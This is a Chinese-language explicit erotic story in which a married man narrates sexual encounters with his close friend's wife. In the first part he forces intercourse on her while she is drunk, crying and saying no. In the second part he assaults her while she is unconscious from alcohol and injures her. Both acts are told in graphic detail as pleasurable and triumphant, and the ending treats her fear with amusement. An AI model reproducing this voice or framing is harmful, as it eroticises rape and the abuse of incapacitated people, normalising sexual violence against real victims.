图片载入中

友妻,我拿什么去爱你

特大字】 【大字】 【中字】 【小字

友妻,我拿什么去爱你?

快下班时,我接到了妻子打来的电话,说是今天要陪赵姐逛街,就不回家吃饭了,还可能晚一点回家,孩子就在妈那里过周末,让我别等她了。我一阵吱吱啊啊的就挂了电话。

一直到晚上12点,没什么好看的电视节目了,我也就自己睡了。

说是睡觉,其实是躺在床上开始幻想和妻子一同逛街的赵姐,她是好友佳的妻子,三十出头,因为比我大一岁,所以,我和妻子都称唿她赵姐。

和我妻子同样是生完小孩的她,身材依旧如同未婚少女一般,皮肤很白,个子不怎么高,但很漂亮。特别是她穿低腰裤时,下身的曲线暴露出来。圆圆的短浅型屁股令人有很想狠插进去的强烈欲望。

虽然总有一种愧对朋友和自己妻子的感觉,可我和妻子做爱的时候,却忍不住会想到赵姐在床上娇喘的样子,这能使我加倍的兴奋,自然赵姐也就成了我夜晚性幻想的对象。

也不知是几点了,妻子上床的动作打断了深陷意淫中的我,爆涨的下体催使我搂抱着妻子的后背,一只手开始轻抚着妻子的乳房,另一只手向下抚摸着她的阴部。

“别闹了,我要睡觉!”妻子有些发着小脾气的说道。

“怎么了?谁又招惹你啦?”

我很是有些生气,大好的兴致被一下泼了头冷水,干脆起身穿了衣服,开车出了小区。

难过的时候,自然先到酒吧喝杯东西了,开车来到市中心的酒吧积聚地,正准备停车,眼睛的余光看到了一个熟悉的身影--挺起的前胸,高翘的屁股,好熟悉的身材,直觉告诉我,是赵姐!

我再仔细一看,没有错,就是她!我的性爱女神!

她穿一件浅色的紧身衬衣,一条褐色的百褶短裙,手里拎着几个购物手袋。好像是刚从一家酒吧出来,准备打车。

我没有多想,立刻把车开到了她面前,轻轻按了声喇叭。只见她动作有点笨拙的弯身朝车里探视,这时我才发现,她可能喝了酒,原来白皙的脸变成了酒后的通红。

看了半天,她才认出我,一下满脸疑云顿散,笑了起来:“是你呀!不好意思,没有看出来。”

“回家吧?我送你!”说完我就着急的等她回话。

她迟疑了一下,直起身来看了下四周,似乎出租车没有出现,便说:“啊,那就麻烦你了。”

赵姐一坐进车里,香水和酒的混杂气味扑鼻而来,令人不舒服,可我不好表现出来,只能忍着吧。

赵姐把东西放到了后座,自己则坐到了副驾位子上。我侧头看了她一眼,却看到她的衬衣钮扣开到了第三个,透过松开的衣领,能看到露出了白皙丰满的胸上部和深深的乳沟。还好她喝了酒,没有注意到我正盯着她看,但我的下体一下子膨胀起来,碍于裤子的原因,顶得我生痛。

我忙转移注意力,开始和她说些无关的话:“今天没有开车出来呀?”

赵姐没有回答我。我感觉有点不自在,因为平时我们都是两家人一起去哪里玩,这样只有我们两个坐在一起,还是第一次,再加上她可能有什么心事,没有注意到我在跟她说话。就这样,车上我们没有再说什么。

约十多分钟,车停到了她家楼下。

我说送她,她说不用,可我还是不放心:“看你喝了点酒,还是我送你上去吧!”

“真不用了,我自己能行,真的。”

言语间,我才发现她的情绪很低落,眼圈很红,就快要哭了,我想也好,我在的话她还不好发泄出来。

“那我叫佳下来接你吧!”我还是有点不放心。

“他出差了。”

我似乎知道问题出在哪里了,佳经常藉着出差的机会在外面乱搞女人,这事一定是给赵姐知道了。

这下我觉得我也不能帮什么忙,还是赶快回避一下,别等会儿问起来,还不好回答。我连忙说:“好吧,我就回去了,你也早点休息。”

赵姐下了车,从后座拿了东西,就摇晃着进了楼道。我也往家里返回,心里有种失落感,我多希望今晚是我的一次艳遇,可惜,就这样草草结束了。

约摸有个五分钟左右,我电话响了,是赵姐用手机打我的电话。

我想,难道她没有回家?是不是想我陪?一想到这,我连忙接起来,只听见对方声音很小。

我没怎么听清楚,我也顺便把车停在一旁,熄了火,然后叫她大声点,这才听见她说:“家里老人都睡了,不敢说大声了,你能帮个忙吗?”

“啊,出了什么事情?”我有点着急的问道。

“也不是大问题,就是想麻烦你帮我看一下电脑,怎么上不了网了。”

我一看表,都两点半了,还上网?本想推脱掉,好回家睡觉,但想到赵姐性感的衬衣,我还是答应了她马上到。

挂电话前,她再三嘱咐我,要轻一点,一是不要影响老人休息,二来是怕把老人吵醒,见到三更半夜孤男寡女要乱猜疑了。我想,赵姐还真够细心的。

到了赵姐家,上了楼,她早就把门打开了,赵姐可能忙着弄电脑,衣服也没有来得及换。我们轻轻的穿过客厅,到了她和佳的卧室。房间里只有我和她,可能是心里想入非非,反倒我自己觉得有点别扭,虽然手上弄着电脑,大脑却想着怎么去抱着她,因此搞了半天,不但没有弄好,由于心虚,还弄得满头大汗。

“算了,弄不好就算了,别耽误你回家了。”赵姐有点歉意的劝我放弃。

“不行,我不能让你失望的。”我这么说,其实是想磨时间,虽然知道不会发生什么,可就是想多留一会,遐想一下也好。

“对不起呀,我没有想到那么复杂,害你耽误那么长时间回不了家。”赵姐听了我的回答更显得内疚了。

我突然想到乘机刺激一下她,于是便说:“怪我笨,是佳的话,就不会耽搁你上网了。”

说完这句话后,我故意回头看了看,果然赵姐眼圈一下就红了,眼泪在眼眶里徘徊着。

可她还是想把话题岔开,对我说:“我最近迷上在网上打牌,也不着急的,你慢慢弄。”

说话间,我能听出声音有些哽噎。我假装没有听到,继续说:“我最羡慕佳找到你这种好女人,善解人意,难怪佳那么痛爱你。”

赵姐不再说话了。我知道为什么,因为她已经在我背后小声的哭了起来。

正在这时,卧室外面有开门的声音,我们一下静了下来,心提个老高,听声音,好像是佳的爸爸起来上厕所。

“你先等一下再走,否则出去老人会误会的。”

赵姐说完便再也没说什么,我们俩都静静的听着门外的动静。

可过了一会,佳的爸爸上完厕所,居然打开了电视,熟悉的播音员声音告诉我,这是今晚三点的世界杯,看来一时走不了了。我看了一下赵姐。她低着头,可能酒还不是完全清醒,所以,把身子倚靠着墙。我也不好说什么,电脑我也没有心思弄,就这样,我们两个就呆坐在屋里,这么苦等着。

也不知道过了多久,赵姐突然问我:“你真的很羡慕我和佳?”

“是啊,特别是羡慕佳有你这么好的女人。”我乘机很深情的回答她,感觉房间里的气氛缓和了一点。

“佳根本比不上你。”说到伤心处,她身体随着低声的抽泣开始有点抖动。

我急忙给她拿了几张餐巾纸,并小声安慰她不要太伤心,等下被外面佳的爸爸听见不好。

又过了一会,可能大家也觉得无聊,她主动到我旁边坐下,拿出今天去逛街买的东西给我看,问我这怎么样,那怎么样。她富有弹性的身体碰到我的时候,我全身一下变得软绵绵的,只有一个地方欲要坚硬起来。

她拿出买的衣服比在自己身上给我看,我不时的点点头表示赞美,她便会开心的笑笑,但这样我还是能从她的眼睛里看出她有多不开心。

她不断的把袋子里买的东西抽出来比试给我看,可能是她喝了酒的缘故,没有仔细看,就抽了出来一件胸罩,赵姐脸上一下泛起千万个不好意思。我也被这突来的情况弄得不好意思起来,但我立刻从她手中抢过来,戴在自己头上,冲她做了个鬼脸。

可能是挺滑稽的,她终于忍不住笑了起来。这是今晚第一次看到她开心的样子,这一分钟,她是那么的美丽动人,我不由得看呆了。

她发现我的眼神目不转睛的看着她时,刹那间,又很不好意思的把头低了下去,不再说话了,我看到她又一次流下了眼泪。

我以为是我失礼了,连忙向她道歉:“对不起呀,我,我不是,我只是想开个玩笑逗你开心。”

可是她没有回答,只是一个劲的摇头。我不知道是不理我的意思,还是不怪我,只能感觉到她的身体因为哭泣而再次抖动起来。

我用手轻轻拍着她的肩膀,示意她想开点,谁知她将头一下就靠在了我的肩头,泪水滴落在我身上,透过我的衣服,肩上一下就感觉到泪水的热度。

我想,让她好好的哭一场,就会好的。

因为她靠我太近,乳房已经贴到我的胸部,哭泣造成的哽噎让赵姐的胸部有节奏的抖动着,这种摩擦,令我下体已经止不住硬了起来。而她并没有感觉到我的变化,而是开始低声述说着佳在外面有女人之类的事情。我哪里还听得进去,只想好好的感受她贴着我的酥胸。

我问自己,这是个机会吗?我想立刻就把她按倒,但我不敢乱来,就假装不经意地在说安慰话的时候将放在她肩上的手滑到了她的腹部。

她好像没有感觉到似的还在喃喃述说着。我开始尝试着更放肆一些,于是将手在她的小腹上轻揉,并将脸俯下,尽量去接近她的嘴唇,一切必须得做得要自然和无心。

我用轻柔的声音说:“别太难过了,他不值得你这样!”说完不失时机地用嘴在她的脸颊上轻轻地似吻非吻般碰了一下。

她马上把眼一闭,不再说话了。

见没有反抗,意外欣喜的我就大着胆子将手上移到她的胸部。

她仍然没有反抗的动作。

我开始缓慢的轻揉着她的胸部,嘴贴着她的脸轻声地说:“你是最美丽的女人,我不想你伤心!”说着又轻轻在她的嘴唇上碰了一下。

赵姐虽然还闭着眼睛,但唿吸已经明显有些急促。凭我多年夫妻生活经验,这时她不会拒绝进一步动作,于是我将嘴唇轻轻的贴到她的唇上。

她没有涂口红,虽然散发着酒精的味道,但我仍然能闻到赵姐淡淡的唇香。我将舌尖慢慢的顶开她的双唇碰到了牙齿。她会不会突然拒绝呢?我不知道。我还是继续把舌尖向深处顶去,但很快,舌尖便轻松的噼开了她的白牙。

慢慢的,她的舌头开始试探着与我接触,我一边继续轻轻佻逗着她的舌尖,一边将手伸进她的衬衣里面,没有想到,赵姐的皮肤是这样的细滑。我的手穿过她平坦紧绷的小腹部,将她的胸罩向上推开之后,我终于摸到了她温暖的乳房。

她的身子明显抖动了一下,鼻腔里也发出“唔、唔”的呻吟声。

我妻子比赵姐还要年轻三岁,但我觉得赵姐的肉体更具新鲜感,而且乳房不像生过孩子的女人一样会松弛,而是充满了弹性,充满了我的整只手。

“对不起,原谅我,但我太喜欢你了!”我轻声地说完,便将整个舌头与她的交织在一起,互相交流着唾液。

虽然赵姐闭着眼睛,但愈来愈扭动的身体告诉我,她已经春心荡漾。我开始将手在她的左乳上旋转轻摩,直到乳头渐渐兴奋而高耸坚挺了起来,我便将手掌的抚摩改为用拇指与中指轻捻她的乳头,然后顺势将已经坐不住了的赵姐慢慢平放在床上,而我则跪到床上,用膝盖顶在她的阴部。

我一边不断的跟她小声的说着对不起,一边亲吻着她的脸颊、脖子和嘴唇。同时又将她的衬衣向上完全推到了她的下颚处,并将她的胸罩解开抽掉。这时我梦想了多年的美乳终于跳跃在了我的眼前,她的乳房丰满、白皙,两粒粉色的乳头高高地翘起。

她这时已毫不掩饰她的感受,喉咙里“呵、呵”地喘着气,放在床上的两手也在不知所措地颤动着。我这时用嘴唇含住她的右乳乳头,一会儿用舌包裹,一会儿用牙轻轻咬。

她可能受不了这种刺激,已明显地扭动身体,两腿也开始挤在一起,脚尖则绷得很直很直。我突然觉得顶着她的膝盖好像热乎乎的,我将腿往后移开,用手一摸,手指上立刻沾满了湿粘的液体,她下面已经这么湿了,不但洇透了她的内裤,还把我的裤子也弄湿了。

我兴奋的把嘴凑到她耳边低声说:“不好,你在流水啦。”

她立刻不好意思的把头扭到了一边。我觉得是时候了,就用手伸到裙子里试图脱去她的内裤。

谁知她却突然用两手抓住我的手低声叫起来:“不,不这样!”

我也迟疑,我这是在干什么呀!我不应该对赵姐这样。

可梦想了多年的女人已经半裸的躺在我面前,不甘心的我一边开始反复哀求的说:“原谅我吧!就这一次!”一边不顾她抓着我的手,将内裤向腿下褪去。

似乎是她感觉没有能力抗拒我,或是怕惊动外面,很快她就放弃了抵抗,把双手摀住了脸,又哭了起来,但我此时已经没有任何想要安慰她的想法,就像一头野兽一样,野蛮的撕扯她的内裤。

当我把她的内裤脱到她膝盖的时候,我才看到内裤的颜色是白色,我找到了位于裙子侧面的拉链,我突然屏住了唿吸,因为我将看到的是好友妻子最隐密的部位!裙子拉链没有想像中的那么难,但赵姐将屁股向下压着,除去裙子显得有些艰难和缓慢。

一阵较量下,随着裙子的拉开,整个神秘的三角地带完全的展现在我面前。我简直心花怒放,我感觉到我的内心在剧烈地跳动着,一种强烈的占有者的快乐令我有说不出的心灵快感!

我夜夜性爱幻想了多年的身体,做梦都没有想到的秘密都毫不保留地展现给我。在这种极度兴奋的心情下,我迅速地脱完了她的所有衣物,柔和的灯光下,现在她诱人的身体失去了一切遮挡。

赵姐拥有着那么标准的身材,皮肤是那样的白净无瑕,从大腿到小腿都很光滑、无毛,阴户处的阴毛井然有序的形成一个倒三角形,但比我妻子的要显得稀少,腹部摸上去滑软舒服。两只乳房不算太大但也不小,但确实很漂亮,粉色的乳头挺立着似乎在召唤着我快去吮吻。白净的臀部因生过孩子显得十分丰润,会让人不自觉地就想去抚摸它。

我慢慢分开了她紧闭的双腿,一阵女人下体的酸味,温柔地向我袭过来。黑色芳草之间出现了一条粉红的肉缝,阴唇边缘已经被涌出的淫液渍湿。两片小唇的颜色比我妻子的颜色浅好多,显得很鲜美,这让我想不通赵姐和佳性爱难道不多吗?

到这里,我想说一下,按照好多人描述的,接下来要去舔女人下体等等的前奏,实际上,在面对现场的状况,我根本做不到了。我已经被肉欲冲昏了头脑,对着这条肉缝,我失去了耐性,两膝跪在她的两腿间,双手抱住她的腰部,用已暴涨的龟头去捅进她的阴道。

可此时她再一次试图拒绝我,她将手推搡着我的身体,下身开始左右摆动。我的龟头对不住阴道,无法进去,我只好把手从她的腰部移到臀部,将整个下体向我靠拢,这样,我的龟头顺利的碰到了她的阴门。

由于有爱液的缘故,她虽然反抗,但整个龟头顺利的进去了。这时,她整个人开始向后移,龟头再次脱了出来。这时候我看到她的眼睛微微张开看着我,泪水一下就流出好多。

她开始边摇头,边对我低语着,我大概能听到是在说“不行,不能”之类的话,嘴也因为不能哭太大声,已经完全憋下。我有点于心不忍了,女人这种反应实际上是用行为表示她并不是一个很贱、很不自重的人。

可湿润的阴道却又召唤着我,是的,大家的心里都很矛盾,是由着身体感知的快乐而行事,还是在道德上理智起来。我的龟头已经进去一次了,我不能就这么放弃,这种反抗只会增加我的兴奋和刺激,我的阴茎觉得从来没有的强大和坚硬。

我在反复的道歉中,加紧了进攻。“砰”的一声,我吓了一跳,原来是她不断的向后一缩,头撞到了床头的木板上。

她也可能吓到了,反抗停止了。可这一停,我的阴茎完全的插入了她的阴道内,接着就听她“啊”的一声,全身颤抖了一下。我的身子一沈,终于第一次和我多年来心所记挂的女人真正地交合了。

赵姐似乎意识到事态的严重性,正准备将我推开时,好像刚才的声音已经引起外面佳的父亲的注意,听脚步声,他离开了电视机,向佳的房间走来。

见没有什么动静,佳的父亲又回到了客厅沙发上去看世界杯了。现在的赵姐再也不敢乱来,只能任我在她身上享受着。

我用力将我的肉棒向阴道的深处顶去,由于我们的姿势可以插得很深,我感觉到已经顶到了她的子宫口,每顶一次都要碰一下我的龟头。这时,我也顾不了绅士风度了,野蛮的尽根而入,啪……啪……。而赵姐也在我连续不断的攻击中开始发出“吭、吭”的声音,原来推着我身体的手开始转为用力的挽住我,同时屁股一上一下的在我的阴茎上套动。

我也很久没有做了,这种刺激令我有想射的感觉。我心想,在这个关键时刻可不能射出来,如果这个时候先射了,赵姐会觉得我没有什么比得上佳的!

但是赵姐阴道本来就很紧,插在里面,实在是太刺激了,我只好停止了猛烈的攻击,开始有节奏的缓慢插入,尽量用力的摩擦着她阴道内一圈一圈的肉环。开始主动起来的赵姐屁股一上一下越来越快,身体开始变得紧绷起来,脸越来越烫,嘴微微撅着,唿唿地大口喘气,双唇越咬越紧。

我知道她马上就要到达顶峰了,我整个人压在她身上,毫不怜惜她的下体,由慢而快的抽动腰部,将龟头在阴道里野蛮的插入着。终于,赵姐整个身体突然盘卷在我身上,唿吸乱而急促,全身剧烈的一番颤栗后,久久没有放开。

见赵姐达到了高潮,我放松了自己的忍耐力,身体使劲向前一顶,紧紧贴着她的耻骨,“啊……”一股股浓热滚烫的精液穿过我的龟头,直喷射向她的最深处。她感受到了我的精子的温度……下体开始有节奏地收缩着,她的子宫口好像天生就要渴求这股强而烫热的精液一般,开始抽搐起来。

我将赵姐平躺着放好。她完全的瘫软在床上,随意地叉开着双腿,已经平息了激情的阴户上一片狼藉,阴毛被大片的爱液渍湿得一缕一缕,大腿根处粉红的肉缝开始向外泛出了淡白色的精液与爱液的混合物。

我顺手用枕巾轻柔地帮她一一擦净,然后又擦净了我依然昂挺的阴茎,丢掉枕巾,拉过被子盖在她的身上。她侧过身背对着我。我发现,整个过程赵姐几乎没有睁眼,也许是不知道怎么面对今晚所发生的事实。

我没有打搅她,悄悄穿上衣服。等到快天亮的时候,确定外面没有人,我才悄悄的离开。

经历了这一晚,我感受到了世间最享受的性爱,那种将别人的女人从肉体到心灵彻底俘虏后给我所带来的刺激。

与梦中的性幻想对像实现了真实的性爱后,回到家已经是次日早晨了,因为世界杯的原因,妻子对我彻夜没有回家也没有太多的怀疑,我则怀揣着那久久不能忘怀的兴奋回房间睡觉了。

躺在床上,并不能立刻入眠的我,看着才进过赵姐粉嫩的小穴的生殖器,上面还残留着酸酸的分泌液的味道,我的下体再次充血肿胀起来。回想着赵姐在我身下哭泣的样子,我又手淫了起来,最后在疲惫中睡着了。

可能是心虚的缘故,后来我没有主动联系过他们夫妇,本来得到了心中梦寐以求的女人,应该知足了,并且我也真的希望就只发生那一次,甚至我后悔对赵姐做了这样的事情。但不知道为什么,我仍有想再次占有赵姐的强烈欲望,这是漫长的煎熬。

......................................

终于,在一个多月后的一天,佳打了电话给我。说真的,看到来电显示,我有点不敢接,但问题出了,我还是只有面对,总比上门来闹的好,此刻只有走一步算一步,边想着各种解释,边战战兢兢的接通了电话。

佳的口气很高兴,原来是约我出去喝酒。我嘴上爽快的答应了,去的路上,心里一直发毛,想着会不会他故意装作没事,把我骗出去杀掉呢?

记得车是怎么开到酒吧都不知道,见了面,从他的神情上看不出什么,我忐忑不安的坐下来,四处张望着可疑的人物。

佳也没有在意到我的举动,他悄悄凑到我耳边说:“今晚我约了个大美人,一会儿就来了,哈哈,叫你开开眼!”

我假笑着配合了他几句,却看到了人群中,赵姐一脸怒气的走了进来。我心里一下就凉了,完了,她肯定是告诉了佳。

正在这个时候,只听佳对我突然说:“完了,怎么这个丑女人来这里?”

正说着,赵姐已经走到了我们桌旁,对着佳什么也不说。

佳也很镇定自若的问她:“你跟踪我来干什么?”

“我还想问你来干什么?”赵姐显然一肚子气,也恨恨的回道。

“男人出来喝酒,很正常呀!”佳边说,边看斜眼看看表,我知道他是着急另一个女人来了怎么办。

“好啊!我也喝呀!”赵姐说完,擡起桌上点好的威士忌酒就干了一大口。

本想佳可能会阻止她,结果,佳却倒给自己一杯,要和她一道干杯。看着这种情形,我也不知道怎么劝说,只能看着事态如何发展。干不到第四杯,只见赵姐眼睛不情愿的一闭,就趴到桌上唿唿大睡了。

说来也巧,正在这个时候,一个时髦的女人来到了我们面前,佳立刻精神一振,站了起来,拉住那个女的对着耳朵就说起悄悄话。

那女人一下就不好意思的推开他,说道:“讨厌,你好色。”说完,看到桌上趴着一个女人,便又问道:“她是谁?”

我正要回答,佳连忙插了话:“她,她呀!她是我朋友的老婆!”说完忙朝我挤眼睛。

我立刻领会了他的意思,也接着说:“是呀,是我老婆,呵呵。”

但女人毕竟直觉比较厉害,来的女人还是半信半疑的看了看佳又看了看我,也不说话,大概在思索着我们之间的阴谋。

佳反应快,立刻对我说:“你看你老婆喝成这样,你们先回去吧。”

我虽然理解他的意思,可我怎么和她回去呀,回去哪里呢?我一脸郁闷的看着佳,佳急了,生怕那女人看出什么名堂,对我不停的挤眼睛,示意我离开,我没有办法,比了个要抱赵姐的动作,佳迅速的微微一点头。

我知道他现在急的心情,没有办法,只好试着把赵姐扶起,但完全喝醉的人就像块石头一样很重,当着佳的面,我又不好太大动作的去接触赵姐的身体,弄了半天,硬没有把赵姐弄起来。

找佳的女人终于开口了:“佳,你也不帮你朋友一下。”

佳似乎得到解脱一样,高兴道:“好的,我帮他弄到车上,一会就来了。”

虽然是两个人,我们还是很费力的把赵姐擡到了停车场。

我问佳:“现在怎么办,我们在这里等你?”

“那不行,这女人好不容易才泡到的!”佳有些急了。

“那怎么办?你老婆动也不会动。”我也不知道该怎么做。

“这样吧,带她去你家!”佳没有多想就回答道。

“不行,我老婆肯定要问她出了什么事情。”我觉得佳已经急得不会考虑问题了。

“那你帮我送回我家吧!她身上有钥匙。”佳边说边准备往酒吧跑。

“更不行,你爸他们看我擡着你老婆回去,会怎么想。”我觉得这主意更糟糕,连忙叫住他。

“放心,我爸他们回老家了!今晚委屈你一下!”可佳头也不回的说了一句就消失了。

无奈之下,我发动了汽车,来到了赵姐家,费了九牛二虎之力,终于把她背到了楼上,顺手在她的包里找了钥匙,试了几把就把门开了。果然,家里没人,我到了我曾经战斗过的卧室,把赵姐平平放到了床上。

我靠着床边的墙,终于可以好好的歇口气,看着躺在床上的这个女人,她整个人昏沈的躺在床上,我突然有一种怜惜的感觉,她今天受了很多委屈。

“我可怜的赵姐。”

我多么想安慰她呀,可是她依旧这么昏睡着。

为了赵姐半夜不会掉到床下,我很用力的抱起她放在了床中央,头上的汗水一下就出来了。可赵姐被我刚才这么用力的移动,居然没有一点儿反应,仍然昏睡着一动不动,可怜的赵姐,她的确需要好好的休息一下了。

我拉了被子帮她盖上,可我想不行,还是帮她除去衣服。于是,我帮她双手举起,把外面的运动服顺着头,穿过举起的双手脱了下来。

她今天穿的是一件浅蓝色的胸罩,可能是刚才搀扶她的时候拉扯过,已经移位了,紧紧的卡在乳房的一半处,我只好将手绕到她的背部,松开了她的胸罩。乳房被勒了一条红红的半圆印。我更心疼了,不自觉的用舌舔了一下红印。

这对乳房我上次见过,但这次感觉却又不一样了,还是那样充满了新鲜的感觉,也许是上次的环境不同,这次我是可以心平气和的仔细看着它。

反正赵姐也昏睡着,我开始再次爱抚起来。

这对久别了一个多月的迷人乳房依然那么有弹力在我手中起伏着。说真话,上次太突然,我也没有太仔细的感受赵姐的身体,但这次不一样,今晚真是太美了。

我开始慢慢的围绕着赵姐的整个上身一路吻上去,吻过平滑紧绷的小腹部,吻向了赵姐那令人神往的大腿根部。赵姐穿的紧身运动裤更突出了她的下体绷凸的丘陵,我抱起赵姐的屁股,将运动裤脱下,顿时看到了那柔软的淡蓝色内裤已经深陷进她的私处,显现出她那迷人的裂缝。

我用嘴隔着赵姐穿的内裤,吮吸着被包住的阴部时,一阵阵熟悉的酸味灌进我全身,我的阴茎好像发酵一样膨胀了。这熟悉的味道让我不由自主的将自己脱得精光,接着将赵姐的圆臀往上挪擡,慢慢扯她内裤。

今晚整夜都是我的时间,我不想像上次一样那么匆忙,当内裤扯到一半的时候,赵姐那不是很多的黑色卷曲毛发缓慢的跳出了裤边,站立在我眼前。

我把嘴凑了上去,深深的吸着那花丛中透出女人神秘的味道,我就这样整个人扑在她的双腿上,双手将内裤扯到了膝盖处,然后换上脚将内裤完全的除去,再用脚将赵姐的双腿也撑开成大字型。

熟悉的景象忽然有点令人眼花撩乱,昏迷中的赵姐没有分泌出甜美的汁液,红红的阴唇含羞的倒在阴户口,半遮半掩的挡住部分阴蒂。我还是第一次这么近的把脸放在赵姐的私处,我开始尝试着用舌头去接触她的阴唇。

我闻到有一点微微酸臭,本想缩回舌头的我,犹豫了一下,还是屏住唿吸,用舌尖挑开阴唇,然后来回拍打似的调弄着赵姐的肉片,这时候,才发现女人私处的味道并不像闻起来那样大,反而如甘泉般令男人想要吸干它。

我开始放松的吮吸起来,并颤抖的伸进赵姐的阴道内。一开始觉得阴道口有点干涩,但在我三两下的舌尖戏弄下,很快我就感到有些粘粘的液体滑入我的口中。

我尽情的尽力吮入着,再把舌头探进赵姐粉嫩缝隙的下端然后一路向上舔,直到上端的那个敏感米粒,此时我的脸沾满了赵姐酸酸的汁液。

不知道是不是有感觉的缘故,赵姐开始翻转几下身体,最后曲蜷着侧睡在床上。确定她没有醒来,我才从后面紧紧抱住她的臀部,这样,她的下体就对着我的龟头了,怕她酒醒的缘故,我用力刺进了她的花芯。

“啊……”,我感到龟头一阵刺痛,这时可能是刚才的停顿,赵姐的阴道里已经变干了,而且她阴道里面本来就窄小,我一进去就感到干涩带来的痛苦,每进去一点,我都觉得很艰难。我只好用手按住她的臀部,然后将我的阴茎慢慢的试探着送入。

但昏迷的赵姐对来自阴壁的刺激很缓慢,分泌的汁液不够我快速的在她的小穴里滑动。我用手从后面抓住她的乳房,当我深深的刺进赵姐身体的时候,乳房也随之向前击打着我的手,但不能加快冲击的阴道,还是渐渐失去粘液的润滑,我觉得下面越来越有痛的感觉,可能今晚不适合做这事。

我果断的将阴茎拨出,由于阴茎与阴道接触过于紧密,只听“啵”的一声,好像拨活塞一样。

我看到龟头出来时,带有少量的血,一定是因为没有太多的水汁,把包皮给弄破了。我忙找了块毛巾擦干净,准备结束了,但我发现我的生殖器上没有任何的伤痕,那可能就是赵姐的肉穴被我插破了。

我用双手把她的浑圆的屁股缝扒开,开始仔细察看她的私处,接着用手指轻拨开两片肉片,粉红色的阴道口露了出来,由于刚才的激烈的抽插,阴道口粘着不多的白沫,还有一些血迹,不一会儿,又有少许的血顺着肉缝流了出来。

看着这些血,这让我想到了当年佳享受赵姐第一次处女身时候可能就是这个样子吧。想到这里,我忍不住用龟头将流血的缝口堵住,可能是有血的原因,我的整根阴茎深深的埋进了最深处。

这一次奇怪的是,在赵姐阴道内干涩带来的不适下,加之起伏不平的阴道内壁夹击下的障碍感,并没有阻止我的抽动,反而加速着我更加疯狂了。

我的小腹不停地顶撞到她翘着的的臀部,发出“啪……啪……”的声音,那种我和赵姐下体套在一起过于紧密所带来的磨擦力,造成了隐隐作痛的感觉,而我却疯狂的深深浅浅、左冲右突,忘情的幻想着这就是赵姐第一次被人插进处女肉穴!

也许就是“偷爱”的独特之处吧,我感到的满足已经远远超过夺走赵姐处女身的感受。

由于过度的刺激,我身体一松懈,立刻,全身的神经好像集中在了龟头处,一股热流象电流一样,击穿了全身,冲出了阴茎,在赵姐的花芯深处喷撒着,我整个人也紧紧抱着赵姐抽搐起来。

当我抽出我的生殖器看时,已经被折磨得浑身发红,湿漉漉的,但仍然挺直着,我为自己从来没有勃起过这么强而惊讶了。再看时,赵姐却依然昏沈的熟睡着,那熟悉的面孔仍然透露着的少妇特有的韵味。

意犹未尽的我,把昏迷的赵姐翻转过来,平放在床上,然后我整人压到了她的身体上方,并将她的双腿搭在我肩上。我开始做起大动作,右手按在阴阜上,整根肉棒插进去后又再整根完全拔出来。

阴道口的嫩皮裹住肉棒,顺着动势被带入带出,在赵姐肉缝口缓缓流出的红白混杂的液体作用下,我整个阴茎再次深深的没入了这个今晚倍受折磨的小穴,直到我的睾丸撞击到赵姐会阴处。

与刚才不同,这一次,肉穴里充满了精液和血的混合物,湿润了整个小穴。我从来没有享受过这么舒服的阴道,窄小却润滑而富有弹性。在不断的进出后,我感觉到了紧紧夹着我阴茎的阴道开始了今晚第一次的抽吸。

看来这时候的女人身体反应是要慢好多,赵姐炽热的阴道开始迎合起我的每一次抽插,时而又退缩而去,阴阜向下压着我的肉棍,似乎要逼我退出,时而阴道的肌肉缩紧好像不肯放松,有力而均匀地夹着我。

我和妻子做时,从来没有接触过这种感觉,我感到再也受不了这种刺激了,于是我将身体压到了赵姐柔软的身上,感受着每一抽送时,我的胸部和赵姐乳头的摩擦,享受着与赵姐二人的生殖器在不断接触、抽插下所发出淫靡的声音里。

我再一次在赵姐的肉体内喷射了,虽然精液量少了,但那种射精带来的快感却仍然叫我全身在抽搐中完全瘫软了。

与醉酒的人做爱,特别是一阵剧烈的唿吸过后,我感觉,自己也像喝了很多酒,头也昏沈了。看了看表,已经很晚了,又担心佳突然杀回,心有余悸的庆幸着刚才一切平安无事,收拾一下我就迅速穿好衣服,摇晃着回了家。

一进门,便看到妻子坐在沙发上看着电视,做贼心虚的我立刻意识到发生了什么事情,忙解释道:“公司聚会,领导也在。”

可妻子却起身快速的过来抱住我。

我被这突然的动作给吓住了,急忙想了解到底发生了什么事情。

“是赵姐,她刚才打电话来。”

我一听,马上吓得半死,难道赵姐打电话告发了我?“她,她怎么了?”

“你可不许到处乱说,赵姐叫我不要告诉任何人的。”妻子有些疑虑的看着我,等待我的回答。其实我知道她是绝对不会遵守诺言的,我每次都是这么和她分享赵姐的“秘密”。

“好好好,不说不说。”我随便敷衍着,更重要的是想立刻知道到底发生了什么事情。

“等你不回来,我就自己先睡了,结果刚才电话把我吵醒,是赵姐的电话,她好像很恐慌,我就安慰她,结果她说的事情把我也吓得不敢睡了。”妻子好像还带着恐怖的回忆着刚才发生的事情,边说边紧紧的抱住我。

“她和佳又吵架啦?”

“佳说今天又要出差,赵姐不相信,就悄悄的跟踪。”

“你们女人就是爱乱猜想!”居然我心里很高兴发生了这个事情,给我带来了又一个快乐的夜晚,但为了不被妻子发现,我还是装作不理解赵姐。

“讨厌,听不听人家讲?”妻子被我打断有点不高兴了。

为了继续听,我又哄了哄:“不插话了,我好好听。”

“赵姐只记得她跟踪佳出去,结果就喝醉了,发生了什么她想不起来,半夜醒来却发现自己全身赤裸,好像还被人强奸过一样,但她检查了门窗都是锁好了的。”

一听到赵姐全身赤裸,我裤子里那根东西,又不自觉地举起来了。

妻子好像还沈浸在恐惧之中,并没有注意到我下身的变化,仍然继续说着:“她打电话来,说不敢睡觉了,叫我去陪她,可一听这个事情,我也害怕,就我们两个女人不行,还是要有个男人,我就叫她还是到我们家来住,等天亮了再回去。”

“那赵姐怎么说?来不来?”我脱口就问了出来,完了又觉得自己有点过于激动。

“起先她不肯,可我说了真的不能去她家,你知道,她也没有别的朋友,想了一下,她才勉强同意了。而我挂了电话,也不敢睡了,就吓得在这里看电视,等你回来。”

我一看表,都夜里三点半了,便说:“那我先去睡觉了,不管你们啦。”

其实我心里知道是怎么一回事情,暗暗觉得好笑,但想到今晚对赵姐所做的事情,觉得怪有点尴尬,就找了借口躲回屋里了。妻子也不敢一个人在外面,跟着进来,人还是紧抱着我。

想到赵姐今晚被我压在身体底下,她自己却不知道的感觉,心情又涌起一阵阵激动,加上妻子抱着我的体温,更加热了我的欲火,我粗鲁的分开妻子两条细长的大腿,插入了进去。妻子以为是我想安抚她,也尽力的张开大腿配合着我疯狂的抽插。

